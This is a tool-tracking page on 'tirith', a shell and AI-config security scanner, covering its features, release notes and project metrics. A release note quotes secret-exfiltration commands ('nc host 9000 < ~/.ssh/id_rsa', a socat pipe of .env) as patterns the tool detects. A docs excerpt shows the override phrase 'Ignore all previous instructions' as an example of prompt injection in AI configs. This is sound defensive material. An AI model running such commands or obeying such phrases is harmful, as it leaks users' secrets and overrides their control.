Threat intelligence database shipped Provides a signed threat intelligence database with package, domain, IP, artifact SHA-256, installed-file hash, malicious-URL, campaign, and behavior-tag indices, with monotonic sequence checks to prevent rollback. 3 releases · 1 other source · first seen Aug 2026

release

  • Upgrades threat intelligence to a signed v2 database that adds artifact SHA-256, installed-file hash, malicious-URL, campaign, and behavior-tag indices to package, domain, and IP reputation, with monotonic sequence checks to prevent rollback. v0.4.0 · Aug 2026 · source · release history
  • An old client must not be pointed directly at a v2 ThreatDB data file; ThreatDB v1 remains available during the v2 cutover. v0.4.0 · Aug 2026 · source · release history
  • threat_intel_v2: Adds support for the signed v2 threat intelligence database with artifact SHA-256, installed-file hash, malicious-URL, campaign, and behavior-tag indices. v0.4.0 · Aug 2026 · source · release history

docs

  • Known-malicious packages, URLs, and IPs from the signed threat database $ pip install malicious-pkg-example Code Execution HIGH Executing from tmp/untrusted locations and dynamic or obfuscated execution $ /tmp/installer Contextual Safety HIGH seen Oct 2026 · source
AI config file change tracking documented Records a baseline snapshot of AI configuration files and diffs subsequent states to surface instructions or capabilities that were quietly added. 4 other sources

Also counts toward: Command-line interface

docs

  • tracks how your AI config files change over time. Record a baseline snapshot, then diff against it to catch instructions or capabilities that were quietly added, the kind of edit a human reviewer skims past. shell $ tirith ai snapshot # record a baseline of all AI configs $ seen Oct 2026 · source
  • tracks how your AI config files change over time. Record a baseline snapshot, then diff against it to catch instructions or capabilities that were quietly added, the kind of edit a human reviewer skims past. shell $ tirith ai snapshot # record a baseline of all AI configs $ seen Oct 2026 · source
  • Git, Docker, pip, npm, registries — package and supply-chain attack surface $ git clone https://github.com/torvald/linux Config Security CRITICAL AI config poisoning, prompt injection, and MCP server validation $ IMPORTANT: Ignore all previous instructions AI Config Drift HIGH seen Oct 2026 · source
  • Insecure HTTP connections, raw IP servers, shell metacharacters in args, duplicate server names, wildcard tool access. DRIFT AI Config Drift Detection # Beyond one-shot scanning, tirith ai seen Oct 2026 · source
Package inspection and wheel analysis shipped Analyzes Python wheel files, sets of wheels, or installed environments using a bounded streaming wheel reader that rejects traversal, collisions, encrypted entries, conflicting metadata, CRC failures, and decompression abuse, and verifies RECORD integrity for missing, modified, unowned, or multiply owned files. 3 releases · first seen Aug 2026

Also counts toward: Command-line interface

release

  • Adds tirith package inspect to analyze wheel files, sets of wheels, or installed environments without downloading them, using a bounded streaming wheel reader that rejects traversal, collisions, encrypted entries, conflicting metadata, CRC failures, decompression abuse, and ambiguous… v0.4.0 · Aug 2026 · source · release history
  • package_firewall: Adds tirith package inspect, tirith pkg approve, tirith pkg install, tirith pkg graph, diff, attest, attest-npm, verify-env, and receipt commands for bounding Python package resolution, integrity, and evidence workflows (x86_64 Linux enforcement). v0.4.0 · Aug 2026 · source · release history
  • Adds Wheel RECORD and installed-environment RECORD verification to detect missing, modified, unowned, or multiply owned files. v0.4.0 · Aug 2026 · source · release history
Web3 operation policy enforcement shipped Classifies network and signer policy for Cast, Forge, Hardhat, Solana, and Anchor operations — covering state changes, signer risk, and network-policy violations — without reading chain state or simulating transactions, using a signed command-card schema that binds ordered Web3 operations, artifact hashes, and policy identity. 3 releases · first seen Aug 2026

release

  • Adds command-card schema 2 to bind ordered Web3 operations, network identity, signer kind, artifact hashes, and policy identity while keeping schema-1 signing bytes compatible. v0.4.0 · Aug 2026 · source · release history
  • web3_guard: Adds web3_guard for classifying network/signer policy and covering state changes, signer risk, and network-policy violations. v0.4.0 · Aug 2026 · source · release history
  • Adds web3_guard policy section to classify network and signer policy, covering state changes, signer risk, and network-policy violations for Cast, Forge, Hardhat, Solana, and Anchor operations without reading chain state or simulating a transaction. v0.4.0 · Aug 2026 · source · release history
Behavioral pattern detection shipped Detects specific malicious behavioral patterns using TeamPCP rules within untrusted task envelopes. 2 releases · first seen Mar 2026

release

  • Adds detection for secret-file exfiltration over netcat and socat — nc host 9000 < ~/.ssh/id_rsa, cat .env | socat TCP:host:9000 -, TLS variants with ncat --ssl and socat OPENSSL:, and whole-environment dumps piped to an upload — as data_exfiltration, and detection of downloaded output used as program source… v0.5.0 · Nov 2026 · source · release history
  • TeamPCP behavior detection rules are now included to detect specific behavioral patterns. v0.2.10 · Mar 2026 · source · release history
Browser extension integrity audit shipped Performs a one-shot, read-only integrity audit of Chrome, Chromium, Brave, and Edge extension source trees against signed baselines, reporting typed drift. 2 releases · first seen Aug 2026

Also counts toward: Command-line interface

release

  • Adds tirith browser audit for a one-shot, read-only integrity audit of Chrome, Chromium, Brave, and Edge extension source trees with signed baselines and typed drift. v0.4.0 · Aug 2026 · source · release history
  • browser_audit: Adds tirith browser audit for one-shot, read-only integrity auditing of Chrome, Chromium, Brave, and Edge extension source trees with signed baselines and typed drift. v0.4.0 · Aug 2026 · source · release history
Native binary triage in packages shipped Triages ELF, Mach-O, and PE binaries found in Python wheels to correlate native imports, runtime launches, loaders, and payloads across distribution boundaries. 2 releases · first seen Aug 2026

Also counts toward: Command-line interface

release

  • Adds ELF, Mach-O, and PE triage to find native extensions in Python wheels and correlate native imports, runtime launches, loaders, and payloads across distribution boundaries. v0.4.0 · Aug 2026 · source · release history
  • package_firewall: Adds tirith package inspect, tirith pkg approve, tirith pkg install, tirith pkg graph, diff, attest, attest-npm, verify-env, and receipt commands for bounding Python package resolution, integrity, and evidence workflows (x86_64 Linux enforcement). v0.4.0 · Aug 2026 · source · release history
State and checkpoint migration guidance shipped Documents breaking changes to on-disk state locations and compatibility boundaries — such as the v2 ThreatDB cutover and the checkpoint directory move — so operators know what requires manual action during upgrades. 2 releases · first seen Aug 2026

release

  • An old client must not be pointed directly at a v2 ThreatDB data file; ThreatDB v1 remains available during the v2 cutover. v0.4.0 · Aug 2026 · source · release history
  • Checkpoints created by older builds under /tmp/tirith/checkpoints are not migrated automatically — inspect and remove that directory manually; 0.4.0 uses private per-user state. v0.4.0 · Aug 2026 · source · release history
Detection rule explanation and remediation documented Provides inline documentation, examples, and remediation guidance for any named detection rule ID via a CLI subcommand. 2 other sources

Also counts toward: Command-line interface

docs

  • Show documentation, examples, and remediation for any detection rule. Every Rule ID on the Detection Rules page works here. shell $ tirith explain --rule pipe_to_interpreter $ tirith explain --rule non_ascii_hostname --fix # remediation only Pair with the Detection Rules reference to look up any of the 200+ rule IDs. seen Oct 2026 · source
  • Show documentation, examples, and remediation for any detection rule. Every Rule ID on the Detection Rules page works here. shell $ tirith explain --rule pipe_to_interpreter $ tirith explain --rule non_ascii_hostname --fix # remediation only Pair with the Detection Rules reference to look up any of the 200+ rule IDs. seen Oct 2026 · source
Package supply-chain risk scoring shipped Scores package supply-chain risk factor by factor, covering npm and other ecosystems, with detailed risk derivation output. 2 other sources

example

  • Show factor-by-factor risk derivation tirith package explain pypi flask
  • Score npm package supply-chain risk tirith package risk npm reqeusts
Safe remote script execution documented suggested Downloads a remote script to a temp file, shows its SHA-256, runs static analysis, opens it for review in a pager, and executes it only after explicit user confirmation, producing a tamper-evident receipt. 2 other sources

Suggested capability: Static application security testing. This is our guess, not confirmed.

docs

  • Safe replacement for curl | bash. Downloads to a temp file, shows SHA256, runs static analysis, opens in a pager for review, and executes only after you confirm. Creates a receipt for later verification. shell $ tirith run https://get.docker.com tirith receipt {last,list,verify} seen Oct 2026 · source
  • Safe replacement for curl | bash. Downloads to a temp file, shows SHA256, runs static analysis, opens in a pager for review, and executes only after you confirm. Creates a receipt for later verification. shell $ tirith run https://get.docker.com tirith receipt {last,list,verify} seen Oct 2026 · source
Threat DB change tracking shipped Shows threat database changes since a specified date to support review of newly added or modified intelligence. 2 other sources

example

  • Show DB changes since a date tirith threat-db diff --since 2026-01-01
  • Count threat DB changes since a date tirith threat-db diff --since 2026-01-01
Tool uninstallation and data removal documented Documents the steps to cleanly remove shell hooks, binaries, Oh-My-Zsh plugins, and all on-disk data (config, audit logs, receipts) across Linux, macOS, and Windows. 2 other sources

docs

  • rm -rf ~/.local/share/tirith macOS shell $ rm -rf ~/Library/Application\ Support/tirith $ rm -rf ~/Library/Preferences/tirith Windows (PowerShell) powershell > Remove-Item -Recurse $env:LOCALAPPDATA\tirith > Remove-Item -Recurse $env:APPDATA\tirith seen Oct 2026 · source
  • # Remove tirith from plugins in ~/.zshrc, then: $ rm -rf ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith Remove Data Tirith stores data in XDG-compliant directories: Linux shell # Remove config (policy, allowlist, blocklist) $ rm -rf ~/.config/tirith # Remove data (audit log, receipts, hooks, last_trigger) $ seen Oct 2026 · source
MCP tool and resource output sanitization shipped Sanitizes MCP tool and resource output by default using bounded structured traversal, leaf preservation, cross-leaf detection, strict blob decoding, MIME checks, URI rules, and explicit incomplete-analysis failures. 1 release · first seen Aug 2026

release

  • Adds MCP tool and resource output sanitization by default using bounded structured traversal, leaf preservation, cross-leaf detection, strict blob decoding, MIME checks, URI rules, and explicit incomplete-analysis failures. v0.4.0 · Aug 2026 · source · release history
npm provenance attestation shipped Binds npm's own signature and provenance report to the exact lockfile and installed inventory to produce a verifiable attestation. 1 release · first seen Aug 2026

release

  • Adds tirith pkg attest-npm to bind npm's own signature/provenance report to the exact lockfile and installed inventory. v0.4.0 · Aug 2026 · source · release history
Prime Agent IPython guard shipped Extracts shell escapes, shell magics, and Python process-spawn forms from Prime Agent IPython input before delegating to the Tirith engine, failing closed on unrecognised execution forms. 1 release · first seen Aug 2026

release

  • Adds Prime Agent IPython guard that extracts shell escapes, shell magics, and common Python process-spawn forms before delegating to the Tirith engine; unrecognised execution forms fail closed by default. v0.4.0 · Aug 2026 · source · release history
Python startup execution modeling shipped Models Python startup execution through .pth, .start, sitecustomize, and usercustomize as an execution chain rather than ordinary data files. 1 release · first seen Aug 2026

release

  • Models Python startup execution through .pth, .start, sitecustomize, and usercustomize as an execution chain rather than ordinary data. v0.4.0 · Aug 2026 · source · release history
Untrusted task envelope assessment shipped Diagnostically assesses untrusted task envelopes to surface risks without executing any contained commands. 1 release · first seen Aug 2026

Also counts toward: Command-line interface

release

  • Adds tirith task check and the preview-gated tirith_check_task MCP tool (requires TIRITH_MCP_PREVIEW=1) to diagnostically assess untrusted task envelopes without executing anything. v0.4.0 · Aug 2026 · source · release history
Analysis enrichment pipeline shipped Provides enhanced analysis outputs and verdict extensions for deeper inspection capabilities. 1 release · first seen Feb 2026

release

License verification shipped Verifies software licenses using Ed25519 signatures with key rotation and CI integration. 1 release · first seen Feb 2026

Also counts toward: CI/CD pipeline integration

release

  • Ed25519 signed license verification with key rotation and CI guard v0.2.0 · Feb 2026 · source · release history

Lines in monospace are the tool's own words: help text parsed from its source, or an endpoint from its API document. Under release, a line is our summary of a dated release. Under docs, it is quoted from the tool's own documentation or website. Each links back to the source it came from.

Score card

  1. Shipping velocity releases a month, last 12 months
  2. Documentation quality release-notes rubric, 0–100
  3. Breaking-change discipline how rarely a release breaks users, and notice given
  4. Maintenance risk quiet time against its own cadence, maintainers
  5. Innovation & surface new capabilities, API and MCP surface
  6. Community health
  7. Contributor trend distinct committers, this year against last
  8. Maintainer concentration bus factor now against a year ago
  9. Issue backlog trend issues closed per issue opened, 12 months
  10. Responsiveness median time to a maintainer’s first reply

Nine scores for tirith, each built from the releases, notes and API history this site tracks — and, on Researcher and Business, where it stands among every measured tool in its category and how that has moved.

Score cards are part of every paid plan.

See plans →

Each score is 0–100 on a published rubric, derived from data this site already shows. A dimension we cannot measure says so — it is never scored 0 and never enters a rank.

How this is scored
  • Shipping velocity — releases a month over the last 12 months, on a log scale where 16 a month scores 100. Needs 3 releases in the window.
  • Documentation quality — the release-notes rubric published on the analytics page, unchanged.
  • Breaking-change discipline — the share of releases carrying a breaking change (none scores 100, half or more scores 0). Only projects that label breaking changes are measured: a clean record cannot be told from an unlabelled one.
  • Maintenance risk — quiet time measured against the tool's own release cadence (quiet longer than 90 days and three typical gaps scores 0), plus the number of active maintainers and whether contributors are growing, where known. Higher is lower risk.
  • Innovation & surface — new capabilities in the feature ledger this year, API and MCP operations added, and the share of commits that are features: the mean of whichever we hold.
  • Community health (open-source tools only) — each is a direction, not a size: contributors this year against last, the bus factor now against a year ago, and issues closed per issue opened, where steady scores 50, doubled 100 and halved 0; plus the median time to a maintainer's first reply (an hour scores about 100, a month or more 0). A commercial card has no repository and carries none of the four.
  • Documented delivery (commercial tools) — when a vendor's documented new capabilities have slowed against its own baseline, that counts against the overall standing as heavily as two low dimensions. Steady delivery, or too little history to judge, leaves the standing alone; it is never a sixth score.
  • Open-source tools are scored on repository signals; commercial tools on their published changelog. Ranks compare tools within one category and one profile and need at least five measured peers; the overall standing needs three ranked dimensions. Best-in-breed or consolidator is a shape, not a quality, and is never scored.

Release-note detail over time

See how much detail tirith puts in its release notes, quarter by quarter, and compare it with tracked tools in the same category. This history uses up to ten retained, reviewed notes per tool; sparse or blank older quarters may reflect that limit.

Checking release-note history…

Explore the full chart →

Releases

Show

7 entries

  1. November 20261
  2. September 20261
  3. August 20261
  4. March 20262
  5. February 20262
    Show

    7 entries

    Project health

    Issue, contributor and maintainer activity in sheeki03/tirith, 2023-12 – 2026-11, as of 2026-11-03. Twelve-month figures first; the trend lines run the whole window.

    1. Contributors 2 +2 vs prior 12 months
    2. Maintainers 1 +2 joined · −1 left, last 12 months
    3. Bus factor 1 committers behind half the commits
    4. Community-filed 100% of issues opened, last 12 months
    5. Median time to close 4.1 days first maintainer reply 31 hours
    6. Open backlog 18 of 105 issues ever filed
    1. Issues opened / month 9 · 0 communitymaintainers
    2. Open backlog 18
    3. Contributors / month 0
    4. Commits / month 0
    5. Stars not measured
    Issue themes, last 12 months
    • other 100%

    Counts from the project's public repository and git history; no individuals are identified. Maintainers are the committers covering 80% of the last year's commits. how we measure this

    Libraries its release ships

    What its latest release locks, checked against known advisories.

    None of its release's images build from a lockfile we can read.

    Add the badge to your README

    Maintain this project? The badge links readers straight to this page, so they can follow every release here.

    Tracked by Cyber Toolchain Choose a badge style and copy the code →
    browse all tools → score card for your toolchain →